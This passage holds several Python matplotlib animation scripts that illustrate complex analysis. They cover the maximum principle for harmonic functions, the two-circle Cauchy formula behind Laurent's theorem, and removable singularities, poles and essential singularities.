axm = fig.add_axes([-0.02, 0.33, 0.5, 0.52], projection="3d"); surf(axm, mount, 0, 1.15)
axh = fig.add_axes([0.49, 0.33, 0.5, 0.52], projection="3d"); surf(axh, harm, -0.2, 2.2)
gm = fig.add_axes([0.07, 0.08, 0.38, 0.19]); setup_graph(gm, 0, 1.1)
gh = fig.add_axes([0.57, 0.08, 0.38, 0.19]); setup_graph(gh, 0.2, 1.8)
fig.text(0.25, 0.845, "made-up mountain, NOT harmonic", ha="center", fontsize=12, color="tab:red")
fig.text(0.75, 0.845, r"harmonic: $u=\mathrm{Re}(1+0.8z^2)$", ha="center", fontsize=12, color=CCOL)
nm = fig.text(0.25, 0.29, "", ha="center", fontsize=11.5); nh = fig.text(0.75, 0.29, "", ha="center", fontsize=11.5)
PH = [("run", 64), ("hold", 12), ("sweep", 84), ("end", 16)]
SCHED = list(range(sum(n for _, n in PH)))
TT = {"run": ("Average the height round a circle about the centre, on two surfaces",
              "left: a mountain top at $p=0$; right: a harmonic saddle; both have height $1$ at the centre"),
      "hold": ("Mountain: average $<$ peak.     Harmonic: average $=$ centre value",
               r"$\frac{1}{2\pi}\int_0^{2\pi}u(p+re^{i\theta})\,d\theta=u(p)$ for harmonic $u$ (Exercise 21.4)"),
      "sweep": ("For every radius: the mountain's average is below, the harmonic one is equal",
                "the harmonic saddle rises and falls round the circle by exactly equal amounts"),
      "end": ("So a harmonic $u$ has no mountain top", "its maximum over a closed disc is on the boundary circle "
              "(Exercise 15.8)")}


def state(k):
    name, p = phase(k, PH)
    if name == "run":
        return name, 0.7, max(1, int(p * NT))
    if name == "sweep":
        return name, (0.7 * (0.08 / 0.7) ** ease(2 * p) if p < 0.5 else 0.08 * (0.9 / 0.08) ** ease(2 * p - 1)), NT
    return name, 0.7 if name == "hold" else 0.9, NT


def frame(k):
    clear()
    name, r, m = state(k)
    for ax3, u, g, n, zlo, nm_ in ((axm, mount, gm, nm, 0, "peak"), (axh, harm, gh, nh, -0.2, "centre")):
        ax3.view_init(26, -62 + 20 * k / len(SCHED))
        ring(ax3, u, r, m, zlo, u(0, 0))
        h, run = heights(u, r)
        graph(g, h, run, m, u(0, 0))
        n.set_text((r"so far $%.4f$" % run[m - 1] if m < NT else r"average $%.5f$" % run[-1])
                   + r",  %s $u(0)=%.3f$;  $r=%.2f$" % (nm_, u(0, 0), r))
    title.set_text(TT[name][0]); sub.set_text(TT[name][1])

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=60)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(80)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""The maximum principle for a height u(x,y), version 3: however small the circle.
The made-up mountain u = exp(-x^2/0.6 - y^2/0.3) (NOT harmonic), turning slowly, with circles about its top p = 0
shrinking from r = 1 to r = 0.01 (faint: earlier circles). Right, on logarithmic axes: the gap u(p) - average
over the circle of radius r, computed for each r. It is positive for every r and behaves like
-(1/4) Laplacian(u)(p) r^2 = 2.5 r^2. Then the harmonic saddle u = Re(1 + 0.8 z^2): its gap is 0 for every r.
If a harmonic u had a top at p, u - u(p) <= 0 on small circles with integral 0 would force u = u(p) on them.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the scalar maximum-principle animations (make_maxmodS.py pastes it into each script).
# A made-up mountain (NOT harmonic) and a harmonic saddle; averages of the height over circles about the centre.
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL, UP = "#1f6f78", "#c96a00", "tab:green"
NT = 360
TH = np.linspace(0, 2 * np.pi, NT, endpoint=False)
mount = lambda x, y: np.exp(-(x ** 2 / 0.6 + y ** 2 / 0.3))    # made up: Laplacian at 0 is -2/0.6-2/0.3 = -10
harm = lambda x, y: 1 + 0.8 * (x ** 2 - y ** 2)                 # 1 + 0.8 Re(z^2): harmonic (Example 15.3)
MTX = r"$u=e^{-x^2/0.6-y^2/0.3}$: made up, NOT harmonic ($\nabla^2u(0)=-10$)"
HTX = r"$u=1+0.8\,(x^2-y^2)=\mathrm{Re}(1+0.8z^2)$: harmonic"
G = np.linspace(-1.2, 1.2, 25)
GX, GY = np.meshgrid(G, G)
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []


def clear():
    while live:
        live.pop().remove()


def phase(k, PH):
    for name, n in PH:
        if k < n:
            return name, k / max(n - 1, 1)
        k -= n
    return PH[-1][0], 1.0


def heights(u, r):
    """u on the circle of radius r about 0, and the running average (1/theta) int_0^theta u"""
    h = u(r * np.cos(TH), r * np.sin(TH))
    return h, np.cumsum(h) / np.arange(1, NT + 1)


def surf(ax, u, zlo, zhi, cmap="Blues"):
    ax.computed_zorder = False
    s = ax.plot_surface(GX, GY, u(GX, GY), cmap=cmap, alpha=0.5, lw=0.25, edgecolor=(0.3, 0.3, 0.3, 0.2),
                        rstride=1, cstride=1, zorder=1, vmin=zlo, vmax=zhi + 0.4 * (zhi - zlo))
    ax.set_xlim(-1.2, 1.2); ax.set_ylim(-1.2, 1.2); ax.set_zlim(zlo, zhi); ax.set_box_aspect((1, 1, 0.75))
    ax.set_axis_off()                                        # no panes or ticks: much faster to draw
    q = np.array([-1.2, 1.2, 1.2, -1.2, -1.2])
    s.base = ax.plot(q, np.roll(q, 1), zlo + 0 * q, color="0.6", lw=0.8)[0]   # the base square, |x|,|y| <= 1.2
    return s


def ring(ax, u, r, m, zlo, c):
    """the circle of radius r about 0 ON the surface (first m points), its shadow, and the ring at height c"""
    t = np.r_[TH, 0.0][:m + 1]; x, y = r * np.cos(t), r * np.sin(t)
    a = np.radians(ax.azim); fr = x * np.cos(a) + y * np.sin(a) >= 0     # the half facing the viewer
    z = u(x, y); zf, zb = np.where(fr, z, np.nan), np.where(fr, np.nan, z)
    live.extend(ax.plot(x, y, zf, color=PCOL, lw=2.6, zorder=6))            # front: solid
    live.extend(ax.plot(x, y, zb, color=PCOL, lw=1.3, ls="--", alpha=0.55, zorder=3))   # behind the hill: faint
    live.extend(ax.plot(x, y, zlo + 0 * x, color=PCOL, lw=1.2, ls="--", alpha=0.7, zorder=2))
    tt = np.r_[TH, 0.0]
    live.extend(ax.plot(r * np.cos(tt), r * np.sin(tt), c + 0 * tt, color="red", lw=1.2, ls=":", zorder=5))
    if m <= NT:
        live.extend(ax.plot([x[-1]] * 2, [y[-1]] * 2, [zlo, u(x[-1], y[-1])], color="0.3", lw=1, zorder=5))
    live.append(ax.scatter([0], [0], [c], s=30, color="red", zorder=7, depthshade=False))


def graph(ax, h, run, m, c):
    """heights over theta filled in up to point m, the running average, the centre value c"""
    t = TH[:m]
    live.extend(ax.plot(t, h[:m], color=PCOL, lw=2))
    live.append(ax.fill_between(t, 0 * t + ax.get_ylim()[0], h[:m], color=PCOL, alpha=0.15, lw=0))
    live.extend(ax.plot(t, run[:m], color="k", lw=1.6, ls="--"))
    live.append(ax.axhline(c, color="red", lw=1.6))


def setup_graph(ax, lo, hi):
    ax.set_xlim(0, 2 * np.pi); ax.set_ylim(lo, hi); ax.tick_params(labelsize=9)
    ax.set_xticks([0, np.pi / 2, np.pi, 3 * np.pi / 2, 2 * np.pi])
    ax.set_xticklabels(["$0$", r"$\pi/2$", r"$\pi$", r"$3\pi/2$", r"$2\pi$"])
    ax.set_xlabel(r"$\theta$")

fig = plt.figure(figsize=(11.4, 5.9))
title = fig.text(0.5, 0.953, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.875, "", ha="center", fontsize=12, color="0.3")

ax3 = fig.add_axes([-0.03, 0.02, 0.54, 0.84], projection="3d")
SM = surf(ax3, mount, 0, 1.15); SH = surf(ax3, harm, -0.2, 2.2); SH.set_visible(False); SH.base.set_visible(False)
lab = fig.text(0.24, 0.07, "", ha="center", fontsize=11)
axr = fig.add_axes([0.6, 0.13, 0.37, 0.52]); axr.set_xscale("log"); axr.set_yscale("log"); axr.tick_params(labelsize=9)
axr.set_xlim(1.2, 0.008); axr.set_ylim(1e-5, 1); axr.set_xlabel(r"radius $r$ (shrinking $\to$)")
axr.set_ylabel(r"$u(p)-\frac{1}{2\pi}\int_0^{2\pi}u(p+re^{i\theta})\,d\theta$")
RG = np.geomspace(1.0, 0.01, 112)
GAP = np.array([1 - heights(mount, r)[1][-1] for r in RG])
axr.plot(RG, 2.5 * RG ** 2, color="0.5", ls=":", lw=1.5, label=r"$-\frac{1}{4}\nabla^2u(p)\,r^2=2.5\,r^2$")
axr.plot([], [], color=PCOL, lw=2.2, label="the mountain's gap"); axr.legend(loc="lower left", fontsize=10)
v1 = fig.text(0.6, 0.80, "", fontsize=12); v2 = fig.text(0.6, 0.75, "", fontsize=12)
PH = [("shrink", 112), ("harm", 38), ("hold", 24)]
SCHED = list(range(sum(n for _, n in PH)))
TT = {"shrink": ("Shrink the circle about the mountain top: its average stays below the peak",
                 "every circle, however small, lies below $u(p)$; so does its average (right: the gap, log scales)"),
      "harm": ("A harmonic $u$: the gap is $0$ for every circle",
               r"$u=\mathrm{Re}(1+0.8z^2)$ equals its average on every circle about $0$ (Exercise 21.4)"),
      "hold": ("So a harmonic $u$ cannot have a mountain top",
               "if it had a top at $p$: $u-u(p)\\leq0$ on small circles, with integral $0$, forces $u=u(p)$ there"
               " (Exercise 15.8)")}


def frame(k):
    clear()
    name, p = phase(k, PH)
    ax3.view_init(24, -70 + 60 * k / len(SCHED))
    hm = name == "shrink"; u = mount if hm else harm
    for s, on in ((SM, hm), (SH, not hm)):
        s.set_visible(on); s.base.set_visible(on)
    lab.set_text(MTX if hm else HTX); lab.set_color("tab:red" if hm else CCOL)
    j = min(k, 111) if hm else 111
    r = RG[j] if hm else 0.2 + 0.6 * ease(2 * p if p < 0.5 else 2 - 2 * p)
    for i in range(0, j, 11) if hm else ():
        t = np.r_[TH[::8], 0.0]
        live.extend(ax3.plot(RG[i] * np.cos(t), RG[i] * np.sin(t), u(RG[i] * np.cos(t), RG[i] * np.sin(t)),
                             color=PCOL, lw=1, alpha=0.35, zorder=5))
    zl = (0, 1.15) if hm else (-0.2, 2.2); ax3.set_zlim(*zl)
    ring(ax3, u, r, NT + 1, zl[0], u(0, 0))
    live.extend(axr.plot(RG[:j + 1], GAP[:j + 1], color=PCOL, lw=2.2, alpha=1 if hm else 0.35))
    live.append(axr.scatter([RG[j]], [GAP[j]], s=30, color=PCOL, zorder=5))
    avg = heights(u, r)[1][-1]
    v1.set_text(r"$r=%.3f$:  average $=%.6f$,  $u(p)=%.3f$" % (r, avg, u(0, 0)))
    v2.set_text(r"gap $u(p)-$average $=%.2e$" % (u(0, 0) - avg) if hm else
                (r"gap: $|u(p)-$average$|<10^{-15}$, i.e. $0$" if abs(u(0, 0) - avg) < 1e-15 else "gap %.1e" % (u(0, 0) - avg)))
    title.set_text(TT[name][0]); sub.set_text(TT[name][1])

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=60)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(90)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Laurent's theorem (Theorem 25.3), step 1: the two-circle Cauchy formula (25.5).
f(z) = 1/((z-1)(z-2)) (Example 25.6) on 1 < |z| < 2, z = 1.5 e^{2.2i}. Three cuts divide the region between
C2, C1 and a small circle about z into two pieces; pull apart, run round, put back: the cuts cancel
(Theorem 20.10). The small circle gives f(z) (Theorem 21.1). Integrals are computed as the points run.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the Laurent animations (make_laurent.py pastes it into each script).
# f(z) = 1/((z-1)(z-2)) of Example 25.6, on the annulus 1 < |z| < 2 about z0 = 0.
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.colors import to_rgb

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL = "#1f6f78", "#c96a00"
f = lambda z: 1 / ((z - 1) * (z - 2))
R1, R2 = 1.1, 1.9
Z = 1.5 * np.exp(2.2j)
g = lambda s: f(s) / (s - Z)
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
TH = 2 * np.pi * np.arange(512) / 512
live = []

def clear():
    while live:
        live.pop().remove()

def mix(c1, c2, t):
    return tuple((1 - t) * np.array(to_rgb(c1)) + t * np.array(to_rgb(c2)))

def fmt(w, d=4):
    w = complex(round(w.real, d) + 0.0, round(w.imag, d) + 0.0)
    return "$%.*f %s %.*f\\,i$" % (d, w.real, "-" if w.imag < 0 else "+", d, abs(w.imag))

def arc(c, r, a, b, n):
    return c + r * np.exp(1j * np.linspace(a, b, n))

def annulus(ax):
    o, i = arc(0, 2, 0, 2 * np.pi, 200), arc(0, 1, 2 * np.pi, 0, 200)
    ax.fill(np.r_[o, i].real, np.r_[o, i].imag, color="0.93", lw=0, zorder=0)
    for P in (o, i):
        ax.plot(P.real, P.imag, color="0.6", lw=0.8, ls="--")
    ax.scatter([1, 2], [0, 0], s=40, color="red", zorder=7)
    ax.text(1, -0.3, "$1$", color="red", ha="center"); ax.text(2.12, -0.3, "$2$", color="red", ha="center")
    ax.scatter([0], [0], s=14, color="k", zorder=7); ax.text(0.06, -0.25, "$z_0$", fontsize=12)

def plen(P):
    return np.abs(np.diff(P)).sum()

def pt(P, L):
    d = np.abs(np.diff(P)); c = np.r_[0, np.cumsum(d)]
    L = min(max(L, 0.0), c[-1]); i = min(np.searchsorted(c, L, side="right") - 1, len(d) - 1)
    return P[i] + (P[i + 1] - P[i]) * (L - c[i]) / d[i]

def upto(P, u):
    c = np.r_[0, np.cumsum(np.abs(np.diff(P)))]; L = u * c[-1]
    return np.r_[P[c < L], pt(P, L)]

def warr(P):
    n = max(1, int(round(plen(P) / 1.5)))
    return [(i + 0.5) / n for i in range(n)]

def line(ax, P, **kw):
    live.extend(ax.plot(np.real(P), np.imag(P), **kw))

def parrow(ax, P, w, col, alpha=1.0, ms=16, shift=0, rev=False):
    L = w * plen(P); p, q = pt(P, L - 0.06) + shift, pt(P, L + 0.06) + shift
    if rev:
        p, q = q, p
    live.append(ax.annotate("", xy=(q.real, q.imag), xytext=(p.real, p.imag), zorder=5,
                            arrowprops=dict(arrowstyle="-|>", color=col, lw=2, alpha=alpha, mutation_scale=ms)))

def dot(ax, z, col, s=55):
    live.append(ax.scatter([z.real], [z.imag], s=s, color=col, zorder=6, edgecolor="white", lw=1))

def make_piece(segs, col, off, lp, name):
    # segs: (points, kind 'C', 'Cp' or 'cut', cut id), the boundary of the piece, counterclockwise
    full = np.concatenate([P for P, _, _ in segs]); cen = full.mean(); sh = {}
    for P, kind, cid in segs:
        if kind == "cut":
            d = P[-1] - P[0]; nrm = 1j * d / abs(d)
            sh[cid] = 0.07 * np.sign(((cen - P.mean()) * np.conj(nrm)).real) * nrm
    return dict(segs=segs, col=col, off=off, lp=lp, sh=sh, full=full, name=name)

def draw_piece(ax, pc, g_, s, cut_alpha=1.0, rec=0.0, glow=0.0, lab=0.0):
    o = g_ * pc["off"]; full = pc["full"] + o
    live.extend(ax.fill(full.real, full.imag, color=pc["col"], alpha=0.13 * (1 - rec), lw=0))
    Ls = [plen(P) for P, _, _ in pc["segs"]]; tot = sum(Ls); acc = 0.0
    for (P, kind, cid), Lk in zip(pc["segs"], Ls):
        u = min(max((s * tot - acc) / Lk, 0.0), 1.0); acc += Lk
        if u <= 0 or (kind == "cut" and cut_alpha < 0.02):
            continue
        Q = P + o
        if kind == "cut":
            col, al, lw, sh = pc["col"], cut_alpha, 2.3 + 2 * glow, pc["sh"][cid]
        else:
            col, al, lw, sh = mix(pc["col"], CCOL if kind == "C" else PCOL, rec), 1.0, 2.3, 0
        line(ax, upto(Q, u), color=col, lw=lw, alpha=al)
        for w in warr(P):
            if u > w + 0.06:
                parrow(ax, Q, w, col, al, ms=16 + (7 * glow if kind == "cut" else 0), shift=sh)
    if 0 < s < 1:
        dot(ax, pt(full, s * tot), pc["col"])
    if lab > 0:
        q = pc["lp"] + o
        live.append(ax.text(q.real, q.imag, pc["name"], ha="center", va="center", fontsize=13, color=pc["col"], alpha=lab))

def curve(ax, P, col, s=1.0, alpha=1.0, ccw=1.0, cw=0.0):
    line(ax, upto(P, s), color=col, lw=2.6, alpha=alpha)
    for w in warr(P):
        if s > w + 0.05:
            if ccw > 0:
                parrow(ax, P, w, col, alpha * ccw)
            if cw > 0:
                parrow(ax, P, w, col, alpha * cw, rev=True)

PH = [("goal", 30), ("apart", 16), ("run", 46), ("back", 18), ("cancel", 24), ("left", 18), ("flip", 16),
      ("cif", 22), ("end", 26)]
ORDER = [n for n, _ in PH]
SCHED = list(range(sum(n for _, n in PH)))

def where(k):
    for name, n in PH:
        if k < n:
            return name, k / (n - 1)
        k -= n
    return PH[-1][0], 1.0

def engine(ax, k, CURVES, PIECES):
    name, p = where(k)
    if name == "goal":
        for P, col in CURVES:
            curve(ax, P, col, p); dot(ax, pt(P, p * plen(P)), col)
    elif name == "apart":
        for P, col in CURVES:
            curve(ax, P, col, 1, 1 - 0.88 * ease(p))
        for pc in PIECES:
            draw_piece(ax, pc, ease(p), 0.0)
    elif name == "run":
        for pc in PIECES:
            draw_piece(ax, pc, 1.0, p, lab=min(1, max(0, (p - 0.85) / 0.15)))
    elif name == "back":
        for pc in PIECES:
            draw_piece(ax, pc, 1 - ease(p), 1.0, lab=1 - ease(p))
    elif name == "cancel":
        glow, fa = np.sin(np.pi * min(p / 0.45, 1.0)), ease((p - 0.45) / 0.55)
        for pc in PIECES:
            draw_piece(ax, pc, 0.0, 1.0, 1 - fa, fa, glow)
    elif name == "left":
        for pc in PIECES:
            draw_piece(ax, pc, 0.0, 1.0, 0.0, 1.0)
    else:
        fl = ease(p) if name == "flip" else 1.0
        for i, (P, col) in enumerate(CURVES):
            if name == "cif" and i == 2:
                line(ax, P, color=PCOL, lw=9, alpha=0.35 * np.sin(np.pi * p))
            curve(ax, P, col, alpha=0.3 if (name == "end" and i == 2) else 1.0,
                  ccw=1.0 if i == 0 else fl, cw=0.0 if i == 0 else 1 - fl)
    return name, p

fig = plt.figure(figsize=(11.4, 5.9))
ax = fig.add_axes([0.0, 0.02, 0.5, 0.84]); ax.set_aspect("equal"); ax.axis("off")
ax.set_xlim(-2.55, 2.55); ax.set_ylim(-2.55, 2.55); annulus(ax)
title = fig.text(0.5, 0.94, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.884, "", ha="center", fontsize=12, color="0.3")
EPS, T = 0.16, np.angle(Z); u = np.exp(1j * T); A = abs(Z)
CURVES = [(arc(0, R2, 0, 2 * np.pi, 600), CCOL), (arc(0, R1, 0, 2 * np.pi, 400), PCOL),
          (arc(Z, EPS, 0, 2 * np.pi, 120), PCOL)]
sg = lambda a, b: np.linspace(a, b, 12)
P1 = make_piece([(arc(0, R2, T, T + np.pi, 300), "C", 0), (sg(-R2 * u, -R1 * u), "cut", "o"),
                 (arc(0, R1, T + np.pi, T, 200), "Cp", 0), (sg(R1 * u, (A - EPS) * u), "cut", "i"),
                 (arc(Z, EPS, T + np.pi, T, 60), "Cp", 0), (sg((A + EPS) * u, R2 * u), "cut", "z")],
                "tab:blue", 0.55j * u, 1.5j * u, "$P_1$")
P2 = make_piece([(arc(0, R2, T + np.pi, T + 2 * np.pi, 300), "C", 0), (sg(R2 * u, (A + EPS) * u), "cut", "z"),
                 (arc(Z, EPS, T, T - np.pi, 60), "Cp", 0), (sg((A - EPS) * u, R1 * u), "cut", "i"),
                 (arc(0, R1, T + 2 * np.pi, T + np.pi, 200), "Cp", 0), (sg(-R1 * u, -R2 * u), "cut", "o")],
                "tab:green", -0.55j * u, -1.5j * u, "$P_2$")
PCS = [P1, P2]
ax.scatter([Z.real], [Z.imag], s=30, color="red", zorder=7)
ax.text(*(lambda w: (w.real, w.imag))(Z - 0.34j * u), "$z$", color="red", fontsize=13, ha="center", va="center")
for w, s, c in ((2.2 * np.exp(0.75j), "$C_2$", CCOL), (0.8 * np.exp(-2.3j), "$C_1$", PCOL),
                (Z + 0.4j * u, r"$C_\varepsilon$", PCOL)):
    ax.text(w.real, w.imag, s, color=c, fontsize=14, ha="center", va="center")
J = lambda P: (g((P[1:] + P[:-1]) / 2) * np.diff(P)).sum() / (2j * np.pi)

prun = lambda pc, s: J(upto(pc["full"], s))

G = r"\frac{f(\zeta)}{\zeta-z}\,d\zeta"
Y = [0.79, 0.715, 0.64, 0.58, 0.505, 0.43, 0.36, 0.29, 0.22, 0.15, 0.08]
rows = [fig.text(0.51, y, "", fontsize=12.5, va="center") for y in Y]
NM = [r"\frac{1}{2\pi i}\oint_{C_2}", r"\frac{1}{2\pi i}\oint_{C_1}", r"\frac{1}{2\pi i}\oint_{C_\varepsilon}"]
TT = {"goal": ("Laurent's theorem (Theorem 25.3), Step 1: a two-circle Cauchy formula",
               r"$f(\zeta)=\frac{1}{(\zeta-1)(\zeta-2)}$ on $1<|\zeta|<2$;  $\frac{f(\zeta)}{\zeta-z}$ is also singular at $z$"),
      "apart": (r"Three cuts divide the region between $C_2$, $C_1$ and $C_\varepsilon$ into two pieces", "pull them apart"),
      "run": ("Run round each piece, counterclockwise",
              r"no singularity of $\frac{f(\zeta)}{\zeta-z}$ inside a piece, so each integral comes back to $0$"),
      "back": ("Put the pieces back", "the two integrals add up to $0$"),
      "cancel": ("Each cut is run twice, in opposite directions", "so the cuts cancel"),
      "left": (r"What is left: $C_2$ counterclockwise, $C_1$ and $C_\varepsilon$ clockwise",
               r"$\oint_{C_2}" + G + r"-\oint_{C_1}" + G + r"-\oint_{C_\varepsilon}" + G + "=0$"),
      "flip": (r"Run $C_1$ and $C_\varepsilon$ counterclockwise: their integrals change sign",
               r"$\oint_{C_2}=\oint_{C_1}+\oint_{C_\varepsilon}$: the deformation theorem 20.10, with two holes"),
      "cif": (r"The small circle gives $2\pi i\,f(z)$",
              r"$\oint_{C_\varepsilon}" + G + r"=2\pi i\,f(z)$, as in the proof of Theorem 21.1"),
      "end": ("The two-circle Cauchy formula (25.5)",
              r"$f(z)=\frac{1}{2\pi i}\oint_{C_2}" + G + r"-\frac{1}{2\pi i}\oint_{C_1}" + G + "$")}

def frame(k):
    clear()
    name, p = engine(ax, k, CURVES, PCS)
    title.set_text(TT[name][0]); sub.set_text(TT[name][1])
    st = ORDER.index(name); s0 = p if name == "goal" else 1.0
    for r in rows:
        r.set_text(""); r.set_color("k")
    V = [J(upto(P, s0)) for P, _ in CURVES]
    for i in range(3):
        rows[i].set_text("$" + NM[i] + G + "=$ " + fmt(V[i])); rows[i].set_color(CURVES[i][1])
    rows[3].set_text("(each counterclockwise)"); rows[3].set_color("0.4")
    if 2 <= st <= 5:
        vals = [prun(pc, p if name == "run" else 1.0) for pc in PCS]
        for i, (pc, v) in enumerate(zip(PCS, vals)):
            rows[4 + i].set_text(r"$\frac{1}{2\pi i}\oint_{\partial P_%d}" % (i + 1) + G + "=$ " + fmt(vals[i]))
            rows[4 + i].set_color(pc["col"])
        rows[6].set_text("sum of the two $=$ " + fmt(sum(vals)))
    if 4 <= st <= 5:
        rows[7].set_text(r"the cuts cancel: sum $=\frac{1}{2\pi i}(\oint_{C_2}-\oint_{C_1}-\oint_{C_\varepsilon})$")
        rows[8].set_text(r"$=$ " + fmt(V[0] - V[1] - V[2]))
    if st >= 7:
        rows[5].set_text(r"$C_\varepsilon$ gives $f(z)=$ " + fmt(f(Z))); rows[5].set_color(PCOL)
        rows[6].set_text("(Cauchy's integral formula, Theorem 21.1)"); rows[6].set_color(PCOL)
    if st >= 8:
        rows[8].set_text(r"$\frac{1}{2\pi i}\oint_{C_2}-\frac{1}{2\pi i}\oint_{C_1}=$ " + fmt(V[0] - V[1]))
        rows[9].set_text(r"$=f(z)$, for $z$ between the two circles"); rows[9].set_color("darkred")

if "play" in globals():
    play(fig, frame, frames=len(SCHED), interval=55)
else:
    plt.rcParams["pdf.fonttype"] = 42
    frame(208)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Three kinds of singularity (Definition 26.2, Example 26.3), seen along five rays into 0.
Top: points t e^{i theta} slide in along the rays, t from 1.2 to 0.04.  Bottom: their images f(t e^{i theta})
in the compressed plane w -> w/(1+|w|) (the rim is infinity).  sin z/z: every ray lands on 1 (Theorem 26.4).
sin z/z^4: every ray runs out to infinity like t^-3, in the direction -3 theta (Theorem 26.5).  e^{1/z}: one
ray to infinity, one to 0, one round |w| = 1: no limit.  Then Casorati-Weierstrass (Theorem 26.8): the solutions
z_k = 1/(Log w0 + 2 pi i k) of e^{1/z} = w0 crowd into every punctured disc D'(0, eps), for every w0 != 0.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
TH = np.pi * np.array([0, 0.5, 1, 1.25, 1.75]); THL = ["0", r"\frac{\pi}{2}", r"\pi", r"\frac{5\pi}{4}", r"\frac{7\pi}{4}"]
COL = ["tab:blue", "tab:green", "tab:purple", "tab:brown", "tab:olive"]
T = np.geomspace(1.2, 0.04, 500); Z = T[None, :] * np.exp(1j * TH)[:, None]
FN = {"rem": lambda z: np.sin(z) / z, "pole": lambda z: np.sin(z) / z ** 4, "ess": lambda z: np.exp(1 / z)}
W = {k: f(Z) for k, f in FN.items()}
cp = lambda w: w / (1 + np.abs(w))                   # compressed plane: the rim |.| = 1 is infinity
assert np.abs(W["rem"][:, -1] - 1).max() < 3e-4
assert np.abs(T[-1] ** 3 * np.abs(W["pole"][:, -1]) - 1).max() < 3e-4
assert np.abs(np.abs(W["ess"]) - np.exp(np.cos(TH)[:, None] / T[None, :])).max() / np.abs(W["ess"]).max() < 1e-12
KK = np.arange(-80, 81)
e = np.linspace(0, 1, 60)[:, None]; RECT = np.r_[-3 + 6 * e, 3 + 2j * np.pi * e, 3 - 6 * e + 2j * np.pi, -3 + 2j * np.pi * (1 - e)].ravel()
assert np.abs(np.abs(np.exp(RECT)) - np.exp(RECT.real)).max() < 1e-9      # exp(x+iy) = e^x e^{iy}: rectangle -> annulus


def w0(tau):
    return np.exp(np.log(abs(2 + 1j)) * np.cos(np.pi * tau) + 1j * (np.angle(2 + 1j) + 2 * np.pi * tau))


def sols(w):
    return 1 / (np.log(w) + 2j * np.pi * KK)


assert abs(w0(0) - (2 + 1j)) < 1e-12 and np.abs(np.exp(1 / sols(2 + 1j)) - (2 + 1j)).max() < 1e-9

SCHED = []
for ph, n, h in (("rem", 44, 14), ("pole", 44, 14), ("ess", 48, 18)):
    SCHED += [(ph, 0)] * 6 + [(ph, ease(i / (n - 3))) for i in range(n)] + [(ph, 1)] * h
SCHED += [("cw1", ease(i / 33)) for i in range(36)] + [("cw1", 1)] * 12 + [("cw2", ease(i / 41)) for i in range(44)] + [("cw2", 1)] * 16

fig = plt.figure(figsize=(7.4, 10.5))
title = fig.text(0.5, 0.94, "", ha="center", va="center", fontsize=13.5)
sub = fig.text(0.5, 0.905, "", ha="center", va="center", fontsize=11.5, color="0.3")
axz = fig.add_axes([0.1, 0.535, 0.8, 0.335]); axw = fig.add_axes([0.1, 0.02, 0.8, 0.365])
axi = fig.add_axes([0.775, 0.215, 0.195, 0.137]); axi.set_xlim(0.7, 1.3); axi.set_ylim(-0.3, 0.3); axi.set_aspect("equal")
axi.set_xticks([0.8, 1, 1.2]); axi.set_yticks([-0.2, 0, 0.2]); axi.tick_params(labelsize=8)
axi.set_title("zoom: $w$ near $1$", fontsize=10, pad=2); axi.plot([1], [0], "*", ms=12, color="red", zorder=9)
for ax in (axz, axw):
    ax.set_aspect("equal"); ax.axis("off")
axz.set_xlim(-1.4, 1.4); axz.set_ylim(-1.4, 1.4); axw.set_xlim(-1.15, 1.15); axw.set_ylim(-1.15, 1.15)
axz.set_title("$z$-plane near the singularity $z_0=0$", fontsize=11.5, pad=2)
axw.set_title(r"$w=f(z)$, drawn at $w/(1+|w|)$: the rim is $\infty$", fontsize=11.5, pad=2)
u = np.exp(2j * np.pi * np.linspace(0, 1, 241))
axz.plot([-1.35, 1.35], [0, 0], color="0.88", lw=0.8); axz.plot([0, 0], [-1.35, 1.35], color="0.88", lw=0.8)
for r, s in ((1 / 3, "0.5"), (0.5, "1"), (2 / 3, "2"), (5 / 6, "5"), (1, r"\infty")):
    axw.plot(r * u.real, r * u.imag, color="0.55" if r == 1 else "0.85", lw=1.4 if r == 1 else 0.8)
    axw.text(r * np.cos(1.95), r * np.sin(1.95), "$|w|=%s$" % s if r < 1 else r"$\infty$", fontsize=9, color="0.45",
             ha="center", va="center", bbox=dict(fc="white", ec="none", pad=0.5))
axw.plot([-1, 1], [0, 0], color="0.88", lw=0.8); axw.plot([0, 0], [-1, 1], color="0.88", lw=0.8)
RAYS = [axz.plot([0, 1.2 * np.cos(a)], [0, 1.2 * np.sin(a)], color=c, lw=0.8, alpha=0.5)[0] for a, c in zip(TH, COL)]
RAYS += [axz.text(1.26 * np.cos(a), 1.26 * np.sin(a), r"$\theta=%s$" % s, color=c, fontsize=11, va="center",
                 ha="left" if np.cos(a) > 0.3 else "right" if np.cos(a) < -0.3 else "center") for a, s, c in zip(TH, THL, COL)]
DISC = plt.Circle((0, 0), 1, color="#f6d6d6", zorder=0); axz.add_patch(DISC)
axz.plot([0], [0], "o", ms=7, mfc="white", mec="k", zorder=9)
